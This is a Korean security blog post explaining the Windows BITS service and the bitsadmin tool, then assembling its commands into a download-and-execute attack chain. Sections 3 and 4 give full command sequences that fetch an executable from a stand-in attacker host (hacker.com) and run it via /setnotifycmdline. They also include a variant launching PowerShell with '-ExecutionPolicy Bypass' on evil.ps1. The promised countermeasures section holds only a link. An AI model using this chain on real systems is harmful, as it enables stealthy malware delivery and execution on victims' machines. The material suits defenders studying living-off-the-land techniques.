BITS는 Background Intelligent Transfer Service 의 줄임말로 윈도우 운영체제에서 백그라운드에서 파일을 다운로드할 수 있는 기능이다. 하지만 많은 해킹 케이스가 그렇듯 의도는 좋았으나, 나쁜 목적으로 써먹기가 참 좋은 도구가 되었다.
이번 포스팅에서는 이 BIT 기능이 어떤 역할을 하는지, 어떤 동작을하는지를 분석해 볼 계획이다.
1. BITS란..
2. Bitsadmin 기능 분석
터미널에서 bitsadmin을 입력하면 아주 길고 상세한 사용방법을 알려준다. 한 250줄 정도 되는데.. 중요한 기능만 정리해보겠다.
/LIST [/ALLUSERS] [/VERBOSE] List the jobs
/MONITOR [/ALLUSERS] [/REFRESH sec] Monitors the copy manager
/RESET [/ALLUSERS] Deletes all jobs in the manager
/CREATE [type] <job name> Creates a job
[type] may be /DOWNLOAD, /UPLOAD, or /UPLOAD-REPLY; default is download
Unlike most commands, <job name> may only be a name and not a GUID.
/INFO <job> [/VERBOSE] Displays information about the job
/ADDFILE <job> <remote_url> <local_name> Adds a file to the job
/ADDFILESET <job> <textfile> Adds multiple files to the job
Each line of <textfile> lists a file's remote name and local name, separated
by spaces. A line beginning with '#' is treated as a comment.
Once the file set is read into memory, the contents are added to the job.
/ADDFILEWITHRANGES <job> <remote_url> <local_name range_list>
Like /ADDFILE, but BITS will read only selected byte ranges of the URL.
range_list is a comma-delimited series of offset and length pairs.
For example,
0:100,2000:100,5000:eof
instructs BITS to read 100 bytes starting at offset zero, 100 bytes starting
at offset 2000, and the remainder of the URL starting at offset 5000.
/LISTFILES <job> Lists the files in the job
/SUSPEND <job> Suspends the job
/RESUME <job> Resumes the job
/CANCEL <job> Cancels the job
/COMPLETE <job> Completes the job
/GETTYPE <job> Retrieves the job type
/GETACLFLAGS <job> Retrieves the ACL propagation flags
/GETPRIORITY <job> Retrieves the job priority
/SETPRIORITY <job> <priority> Sets the job priority
Priority usage choices:
FOREGROUND
HIGH
NORMAL
LOW
/SETNOTIFYCMDLINE <job> <program_name> [program_parameters]
Sets a program to execute for notification, and optionally parameters.
The program name and parameters can be NULL.
IMPORTANT: if parameters are non-NULL, then the program name should be the
first parameter.
Examples:
bitsadmin /SetNotifyCmdLine MyJob c:\winnt\system32\notepad.exe NULL
bitsadmin /SetNotifyCmdLine MyJob c:\callback.exe "c:\callback.exe parm1 parm2"
bitsadmin /SetNotifyCmdLine MyJob NULL NULL
2-1. bitsadmin /create
# type 에는 /download, /upload, /upload-reply
# type 기본값은 /downlaod
bitsadmin /create [type] <jobname>
bitsadmin /create malware_download
bitsadmin는 job라는 단위로 다운로드를 수행한다. 그러기 위해서 우선 job을 만들어주어야 한다. create로 이 job을 생성하는 방법을 제공한다.
2-2. bitsadmin /addfile
다운로드 받을 파일 경로와, 로컬에 저장될 경로를 지정하는 기능이다.
# 사용법
bitsadmin /ADDFILE <job> <remote_url> <local_name>
# 예제
bitsadmin /addfile malware_download https://hacker.com/maware.exe c:\malware.exe
2-3. bitsadmin /setnotifycmdline
다운로드 후 수행할 명령을 지정하는 기능이다. 인자값까지 전달할 수 있다.
# 사용법
/SETNOTIFYCMDLINE <job> <program_name> [program_parameters]
# 사용 예제, 전달할 인자가 없으면 NULL 표시
bitsadmin /setnotifycmdline malware_download c:\malware.exe NULL
2-4. bitsadmin /setpriority
job의 우선 순위를 지정하는 기능이다.
# 사용법
bitsadmin /SETPRIORITY <job> <priority> Sets the job priority
Priority usage choices:
FOREGROUND
HIGH
NORMAL
LOW
# 사용 예제
bitsadmin /setpriority malware_download foreground
2-5. bitsadmin /resume
말그대로 작업을 재개하는 기능이다.
# 사용법
bitsadmin /resume <job_name>
# 사용 예제
bitsadmin /resume malware_download
2-6. bitsadmin /complete
파일 다운로드를 완료하는 기능
# 사용 방법
bitsadmin /complete <job_name>
# 사용 예시
bitsadmin /complete malware_download
3. BITS를 이용한 공격
위의 기능들을 한데 조합하면 된다.
# job 생성
bitsadmin /create malware_download
# download 경로 설정 (로컬 경로는 백슬래시 사용에 유의)
bitsadmin /addfile malware_download https://hacker.com/maware.exe c:\malware.exe
# 작업 우선순위 설정
bitsadmin /setpriority malware_download foreground
# 다운로드 완료 후. 수행할 명령 지정 (로컬 경로는 백슬래시 사용에 유의)
bitsadmin /setnotifycmdline malware_download c:\malware.exe NULL
# job 재개
bitsadmin /resume malware_download
# 다운로드 작업 종료
bitsadmin /complete
# job 상세 정보 확인
bitsadmin /info malware_download /verbose
이외에도 powershell 코드가 저장된 파일을 다운로드 한다면 다음과같이 응용할수도 있다
bitsadmin /setnotifycmdline myjob "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-ExecutionPolicy Bypass -File C:\Temp\evil.ps1"
이외에도 다양한 파워쉘 명령실행 우회 방법이 존재한다. 필자가 작성한 다음 글을 참고해보자.
https://darkest.tistory.com/64
[windows] powershell 실행 정책을 우회하는 다양한 방법
윈도우에서는 기본적으로 파워쉘을 통한 코드 실행을 제한하고 있다. 보안 상의 이유인 것으로 추정되는데, 공격자들이 파워쉘을 악용하기 쉽기 때문이다. 이번 포스팅에서는 이런 실행 정책을
darkest.tistory.com
4. Bitsadmin 공격 예시
bitsadmin /reset
bitsadmin /create mal_down
bitsadmin /addfile mal_down http://localhost:8000/downloadfile/winmine.exe c:\malware.exe
bitsadmin /setpriority mal_down foreground
bitsadmin /setnotifycmdline mal_down c:\malware.exe NULL
bitsadmin /resume mal_down
bitsadmin /complete mal_down
5. Bitsadmin 공격 대응 방안
Background Intelligent Transfer Service - Win32 apps
BITS(Background Intelligent Transfer Service)는 클라이언트와 서버 간에 파일을 전송(다운로드 또는 업로드)하고 전송과 관련된 진행 상황 정보를 제공해 줍니다.
learn.microsoft.com
'콤푸타 > 해킹&보안' 카테고리의 다른 글
[악성코드 분석] 계엄사-합수본부 운영 참고자료 (0) | 2025.01.16 |
---|---|
[windows] 윈도우 로컬 환경 로그온 과정 상세 분석 1 - NTLM (0) | 2024.12.06 |
[windows] 계정과 권한 그리고 UAC(User Account Control) (0) | 2024.12.02 |
[windows] 윈도우 해킹(2), lnk 파일 악성코드 (0) | 2024.11.30 |
[windows] 윈도우 해킹(1), WMIC (0) | 2024.11.29 |